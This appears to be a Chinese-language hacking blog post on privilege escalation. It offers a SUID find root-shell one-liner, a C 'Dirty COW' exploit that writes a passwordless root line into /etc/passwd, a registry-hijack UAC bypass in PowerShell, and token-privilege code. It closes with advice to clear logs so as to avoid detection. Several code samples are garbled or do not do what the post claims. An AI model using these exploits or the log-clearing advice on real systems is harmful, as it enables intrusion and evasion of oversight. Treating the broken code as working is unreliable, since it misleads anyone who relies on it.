一、权限提升的「意外之喜」
有一次,我看到了一条新闻:某公司因为服务器配置错误,导致黑客通过简单的权限提升操作拿下了整个内网的控制权。这让我想起了自己在一次渗透测试中遭遇的类似场景。当时目标服务器看起来非常坚固,Web应用也做了不少加固。可当我找到一个可控的低权限用户账户后,仅用了几分钟就直接提权拿到 SYSTEM 权限。说到底,权限提升永远是攻防对抗中不可忽视的一环。
本文将从攻击者的视角出发,全面拆解各种权限提升技术,涵盖 Linux 和 Windows 平台。每种方法都会结合实战案例进行说明,并附上可用的 POC 代码,方便大家在授权场景下进行学习与复现。
---
二、Linux 提权的「暗门」操作
1. SUID 权限的魔法钥匙
在 Linux 系统中,SUID 标志允许普通用户以文件所有者的身份运行程序。看似是个便利功能,但一旦配置不当,就可能成为攻击者绕过权限限制的「捷径」。实战中,寻找 SUID 文件是提权的一步关键操作。
实战案例:利用 SUID 的 find 提权
有一次,我在目标机器上发现了一个 find 命令带有 SUID 权限:
<pre><code class="language-bash">$ find / -perm -u=s -type f 2>/dev/null /usr/bin/find</code></pre>
这意味着任何用户都可以以 root 权限运行 find 程序。利用 find 的 -exec 参数,我们可以执行任意命令。提权代码如下:

<pre><code class="language-bash">$ /usr/bin/find . -exec /bin/sh -p \; -quit
whoami
root</code></pre>
原理解析:-exec 参数允许 find 调用其他命令,而 -p 选项让 /bin/sh 以增强权限的方式运行。由于 find 带有 SUID 位,/bin/sh 将获得 root 权限。
POC 脚本:自动化 SUID 提权扫描
为了快速发现系统中的潜在提权点,可以利用以下 Python 脚本:
<pre><code class="language-python">import os
def find_suid_bins(): suid_bins = [] for root, dirs, files in os.walk("/"): for file in files: filepath = os.path.join(root, file) try: if os.stat(filepath).st_mode & 0o4000: suid_bins.append(filepath) except: pass return suid_bins
if __name__ == "__main__": suid_files = find_suid_bins() print("[*] SUID Binaries Found:") for suid in suid_files: print(f" - {suid}")</code></pre>
运行这个脚本后,会输出所有带有 SUID 权限的二进制文件,你只需要检查它们是否可被利用即可。
---
2. 内核漏洞:万能的提权捷径
Linux 内核漏洞一直是权限提升的「黄金通道」。例如,极为著名的 Dirty COW(CVE-2016-5195)就是一个利用内核写入权限来实现提权的经典案例。
实战案例:Dirty COW 提权
在某次运维误操作中,一台目标机器的内核版本未及时更新,恰好受 Dirty COW 漏洞影响。通过以下 EXP,我轻松拿到了 root 权限:
<pre><code class="language-c">#include <stdio.h>
include <stdlib.h>
include <fcntl.h>
include <pthread.h>
include <string.h>
include <unistd.h>
include <sys/mman.h>
include <sys/stat.h>
void map; int f; struct stat st; char name;
void madviseThread(void arg) { for (int i = 0; i < 1000000; i++) { madvise(map, 100, MADV_DONTNEED); } return NULL; }
void writeThread(void arg) { char str = (char )arg; for (int i = 0; i < 1000000; i++) { memcpy(map, str, strlen(str)); } return NULL; }
int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <file>\n", argv[0]); return EXIT_FAILURE; }
name = argv[1]; f = open(name, O_RDONLY); fstat(f, &st);

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); pthread_t pth1, pth2;
char *str = "root::0:0:root:/root:/bin/bash\n"; pthread_create(&pth1, NULL, madviseThread, NULL); pthread_create(&pth2, NULL, writeThread, str);
pthread_join(pth1, NULL); pthread_join(pth2, NULL);
printf("Exploit complete. Check /etc/passwd.\n"); return EXIT_SUCCESS; }</code></pre>
利用步骤
- 将以上代码保存为
dirty_cow.c。 - 编译并运行:
gcc dirty_cow.c -o dirty_cow -lpthread。 - 执行后,
/etc/passwd文件被覆盖,新的 root 用户被写入。
---
三、Windows 提权的「奇技淫巧」
Windows 系统由于复杂的权限机制和大量遗留组件,同样有许多提权方式可供探索。
1. UAC 绕过
用户账户控制(UAC)虽然能阻止部分未经授权的操作,但并不完美。一些低权限程序通过特定调用,可以直接绕过 UAC 限制。
实战案例:利用 Slui 触发提权
在 Windows 系统中,slui.exe 是一个用于激活 Windows 的合法程序。借助它的 COM 注册机制,可以实现权限提升。
攻击代码如下:
<pre><code class="language-powershell">$Path = "HKCU:\Software\Classes\ms-settings\Shell\Open\command" New-Item -Path $Path -Force Set-ItemProperty -Path $Path -Name "DelegateExecute" -Value "" Set-ItemProperty -Path $Path -Name "(default)" -Value "cmd.exe" Start-Process slui.exe</code></pre>
原理解析
- 修改注册表键
ms-settings,创建一个新的 COM 对象。 - 将其指向
cmd.exe。 - 启动
slui.exe时,系统以管理员权限执行注册表中配置的命令。
运行上述脚本后,系统会弹出一个以管理员权限运行的 cmd 窗口。
---
2. 内核提权:Token 操作
Windows 内核的 Token 操作是提权的关键。例如,通过滥用 SeDebugPrivilege,可以模拟 SYSTEM 用户。
实战案例:Token 提权
以下是一个使用 C 语言进行内核提权的示例代码:
<pre><code class="language-c">#include <windows.h>
include <stdio.h>
void EnableDebugPrivilege() { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp;

OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken); }
int main() { EnableDebugPrivilege(); printf("[+] Debug privileges enabled. Ready to elevate.\n"); return 0; }</code></pre>
利用步骤
- 保存代码为
debug_priv.c。 - 编译运行:
cl debug_priv.c /link advapi32.lib。 - 程序执行后,你可以直接附加到任何进程并模拟 SYSTEM。
---
四、经验分享:提权的「细节」成就完美攻击
- 信息收集是关键:提权的前提是对目标系统有足够了解。检查用户组、进程权限、内核版本等。
- 利用自动化工具:工具如
LinPEAS和WinPEAS可以快速发现提权点。 - 实验环境搭建:建议搭建一个专用的提权靶场(如 VulnHub 和 HackTheBox 提供的镜像)。
- 小心痕迹清理:提权操作通常会留下日志,需要及时清理避免被发现。
---
权限提升是渗透攻击中不可或缺的一部分,尤其是当你需要将低权限访问升级为全局控制时,希望这篇文章能为你的「授权测试」提供一些灵感。最后提醒一句:所有操作仅限合法授权的范围内进行!